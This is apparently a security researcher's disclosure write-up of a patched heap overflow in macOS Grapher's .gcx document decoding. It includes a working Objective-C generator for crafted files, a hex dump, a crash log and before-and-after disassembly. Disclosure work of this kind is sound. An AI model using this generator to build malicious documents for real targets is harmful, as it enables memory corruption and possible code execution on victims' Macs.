grapher is the graphing calculator that ships with every mac, in /System/Applications/Utilities. its .gcx documents say which classes to build, and one of those classes, GVectorFieldVector, read an element count from the file and then wrote that many pairs of 8-byte values into a 72-byte object it never resized. the file chose how far past the end the writes went, and every byte they wrote.
apple fixed it in macos golden gate 27 as cve-2026-86929.
tested on macos 26.5 (25F71) and 26.5.1 (25F80), apple silicon, grapher 2.8.1.
a .gcx is a typedstream, the archive format from nextstep that NSArchiver writes and NSUnarchiver reads. every object in the stream is stored with the name of its class. on load, the unarchiver reads the name, looks the class up, allocates one, and calls its initWithCoder: to read that object's share of the bytes.
grapher opens documents with its own subclass of NSUnarchiver. that is the legacy decoder: no NSSecureCoding, no list of allowed classes. so a document can make grapher build a GVectorFieldVector and hand that class's initWithCoder: whatever bytes come next.
GVectorFieldVector is a 72-byte object with two inline arrays of three doubles. its initWithCoder:, from the disassembly:
self = [super initWithCoder:coder]; // 72 bytes, fixed
[coder decodeValueOfObjCType:"I" at:self + 0x08]; // N, a uint32 from the file
for (k = 0; k < N; k++) { // no upper bound
[coder decodeValueOfObjCType:"d" at:self + 0x10 + 8*k]; // a[k]
[coder decodeValueOfObjCType:"d" at:self + 0x28 + 8*k]; // b[k]
}
nothing grows with N. the arrays hold three elements each, the loop takes as many as the file asks for, and it writes them into the object itself.
up to N = 3, every value lands in its own slot. at N = 4 the writes stay inside the object but spill from a into b and over the field after it. from N = 5 the second store goes past the end of the object, and every extra element pushes it another 8 bytes into the heap. a double is just 8 bytes, so the file picks every bit of what gets written there.
the sibling class GVector stores the same kind of data correctly: it allocates a buffer of N doubles and decodes into that. GVectorFieldVector skipped the allocation and wrote into itself.
all of it runs inside unarchiveObjectWithData:, while the object graph is still being decoded and before grapher's own code looks at the document. any archive that merely contains a GVectorFieldVector triggers it.
i didn't write a typedstream encoder. i wrote a class with the same name and let NSArchiver do the encoding. the archive keeps only the class name, so when grapher opens the file it builds its own GVectorFieldVector and runs its initWithCoder: over my bytes. the generator, trimmed:
@interface GVectorFieldVector : NSObject <NSCoding> @end
@implementation GVectorFieldVector
- (void)encodeWithCoder:(NSCoder *)c {
// the count grapher will trust
unsigned int n = (unsigned int)strtoul(getenv("POC_N"), 0, 0);
[c encodeValueOfObjCType:"I" at:&n];
union { uint64_t u; double d; } v = { .u = 0x4141414141414141 };
for (uint64_t k = 0; k < 2ULL * n; k++)
[c encodeValueOfObjCType:"d" at:&v.d]; // 2N doubles, all mine
}
- (instancetype)initWithCoder:(NSCoder *)c { return [super init]; }
@end
NSMutableDictionary *root = [NSMutableDictionary dictionary];
root[@"GraphObjects"] = @[ [GVectorFieldVector new] ]; // like a real .gcx
NSData *gcx = [NSArchiver archivedDataWithRootObject:root];
ten elements is plenty to leave the object:
$ POC_N=10 ./gen_poc g10.gcx
wrote g10.gcx (358 bytes), N=10
$ xxd g10.gcx
00000000: 040b 7374 7265 616d 7479 7065 6481 e803 ..streamtyped...
00000010: 8401 4084 8484 134e 534d 7574 6162 6c65 ..@....NSMutable
00000020: 4469 6374 696f 6e61 7279 0084 840c 4e53 Dictionary....NS
...
00000080: 1247 5665 6374 6f72 4669 656c 6456 6563 .GVectorFieldVec
00000090: 746f 7200 9584 0149 0a84 0164 8341 4141 tor....I...d.AAA
000000a0: 4141 4141 419c 8341 4141 4141 4141 419c AAAAA..AAAAAAAA.
000000b0: 8341 4141 4141 4141 419c 8341 4141 4141 .AAAAAAAA..AAAAA
...
the class name sits in the file as plain text from 0x81. 49 0a at 0x97 is the count: type I, value 10. after that come twenty doubles of eight 41 bytes each; the 83 and 9c between them are typedstream framing.
every double is 0x4141414141414141 so that anything built from them is easy to spot. with a count of two million, opened in the stock, signed grapher on 26.5 (25F71), the crash report reads:
exception EXC_BAD_ACCESS (SIGKILL)
subtype KERN_INVALID_ADDRESS at 0x4141414141414191 -> 0x0000414141414191
(possible pointer authentication failure)
termination PAC_EXCEPTION, code 1
far 0x4141414141414191
x6, x9 0x4141414141414141
0 Foundation _decodeReusedCStringUsingTable + 228
1 Foundation -[NSUnarchiver decodeValueOfObjCType:at:] + 80
2 Grapher + 0x8a9d0 <- in -[GVectorFieldVector initWithCoder:]
3 Foundation _decodeObject_old + 328
...
7 Foundation -[NSArray(NSArray) initWithCoder:] + 412
...
12 Foundation -[NSDictionary(NSDictionary) initWithCoder:] + 648
the fault is in the unarchiver's next read, on an address built out of my 41 bytes, with two registers holding the sentinel itself. that isn't a null dereference or an abort. it is file contents being used as a pointer.
the control is the count. the same generator with N = 4 makes a document that opens without a crash, and nothing else changes. to catch the write itself rather than what it breaks later, i ran a debuggable copy of grapher under guard malloc on 26.5.1 (25F80), which puts an unmapped page after each allocation. with N = 10 it stops on the overflowing store, str d0, [x19], with x19 on the guard page and d0 holding a double from the file.
the same method, in the vulnerable binary and in macos 27.0 (26A5421a):
// 26.5 (25F71), -[GVectorFieldVector initWithCoder:]
0x10008a9a8 ldr x8, [x20, #8] // N
0x10008a9ac cbz x8, skip_loop // the only check: N == 0
...
0x10008a9ec cmp x23, x8
0x10008a9f0 b.lo loop // runs to N, whatever N is
// 27.0 (26A5421a), same method
0x10008e970 ldr x8, [x20, #8] // N
0x10008e974 cmp x8, #0x3 // new: upper bound
0x10008e978 b.ls continue
0x10008e97c mov x0, x20
0x10008e980 bl _objc_release // new: release the half-built object
0x10008e984 mov x20, #0x0 // and return nil
three is exactly the right bound. each array holds three doubles, so four is already one too many, even though it never leaves the object.
the trigger is opening a file. grapher ships on every mac and is the default app for .gcx, so a mail attachment, an airdrop or a download is enough, and the overflow happens during the decode, before grapher does anything with the document. the file sets both the length of the overflow and every byte in it. apple's advisory puts it as "processing a maliciously crafted file may lead to arbitrary code execution". grapher runs in the app sandbox.